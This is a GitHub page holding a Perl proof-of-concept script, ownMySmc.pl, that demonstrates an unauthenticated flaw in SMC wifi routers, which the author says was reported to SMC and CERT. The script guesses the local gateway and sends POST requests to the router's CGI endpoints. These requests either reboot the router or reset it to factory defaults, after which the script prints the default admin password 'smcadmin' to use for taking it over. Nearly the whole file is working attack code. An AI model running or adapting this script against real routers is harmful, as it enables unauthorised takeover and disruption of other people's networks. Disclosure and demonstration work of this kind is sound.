-
Notifications
You must be signed in to change notification settings - Fork 1
/
ownMySmc.pl
128 lines (99 loc) · 3.15 KB
/
ownMySmc.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/perl -w
=head1 NAME
$Id: ownMySmc.pl,v 1.3 2007/05/13 18:29:30 paulg Exp $
=head1 VERSION
1.0
=head1 DESCRIPTION
demonstrates security flaw (reported to SMC and CERT) in SMC wifi routers
see also: http://tardate.blogspot.com/2007/02/letting-strangers-on-your-wifi-need.html
HTTP POST Details:
<form method="POST" action="http://192.168.2.1/cgi-bin/restore.exe" name="RebootForm">
<input type="hidden" name="page" value="tools_restore">
<input type="hidden" name="logout">
To restore the factory default settings of the system,click on the "SAVE SETTINGS" button.
<input type="submit" name="savesetting" value="SAVE SETTINGS">
<form method="POST" action="/cgi-bin/restart.exe" name="RebootForm">
<input type="submit" name="savesetting" value="REBOOT ROUTER">
/cgi-bin/setup_pass.exe
<input type="hidden" name="restart_time" value="0">
<input type="hidden" name="reload" value="0">
<input type="hidden" name="restart_page" value="">
<input type="hidden" name="location_page" value="system_remote_mgmt.stm">
<input type="password" size="12" maxlength="12" name="userOldPswd" value="">
<input type="password" size="12" maxlength="12" name="userNewPswd" value="">
<input type="password" size="12" maxlength="12" name="userConPswd" value="">
<input type="text" name="timeout" size="3" maxlength="3">
<input type="submit" name="savesetting" value="SAVE SETTINGS">
=head1 AUTHOR
Paul Gallagher gallagher.paul@gmail.com
=cut
use strict;
use warnings;
use Getopt::Long;
use LWP::UserAgent;
use HTTP::Response;
use Sys::Hostname;
use NetAddr::IP;
my $opt_help;
my $opt_gw;
GetOptions(
"help" => \$opt_help,
"gw=s" => \$opt_gw
);
my $opt_cmd = shift;
usage() if $opt_help;
usage() unless defined($opt_cmd);
# guess the gateway
if (! $opt_gw) {
$opt_gw = (NetAddr::IP->new(hostname,'255.255.255.0')->network + 1)->addr;
print "Guess your gateway is ", $opt_gw, "\n";
} else {
print "Using gateway ", $opt_gw, "\n";
}
# now branch to operation
if ( $opt_cmd =~ /reboot/i ) {
reboot();
}
if ( $opt_cmd =~ /ownme/i ) {
factoryreset();
}
1;
sub reboot {
print "Commencing router reboot...";
my $ua = LWP::UserAgent->new();
my $url = 'http://' . $opt_gw . '/cgi-bin/restart.exe';
my $response = $ua->post( $url, { savesetting => 'REBOOT ROUTER' } );
if ($response->is_redirect()) {
print ".. rebooting\n";
} else {
print ".. hmm, not the expected response:\n";
print $response->content();
}
return;
}
sub factoryreset {
print "Attempting to reset factory defaults ...";
my $ua = LWP::UserAgent->new();
my $url = 'http://' . $opt_gw . '/cgi-bin/restore.exe';
my $response = $ua->post( $url, { savesetting => 'SAVE SETTINGS' } );
if ($response->is_redirect()) {
print ".. reset. Go to http://${opt_gw}/ and try password of 'smcadmin'\n";
} else {
print ".. hmm, not the expected response:\n";
print $response->content();
}
return;
}
sub usage {
print <<END_OF_USAGE;
Usage:
ownMySmc.pl [options] [command]
options:
-help # this message
-gw=<value> # set specific gateway address (use if script can't guess correctly)
commands:
reboot # reboots router
ownme # performs factory reset and reboot
END_OF_USAGE
exit;
}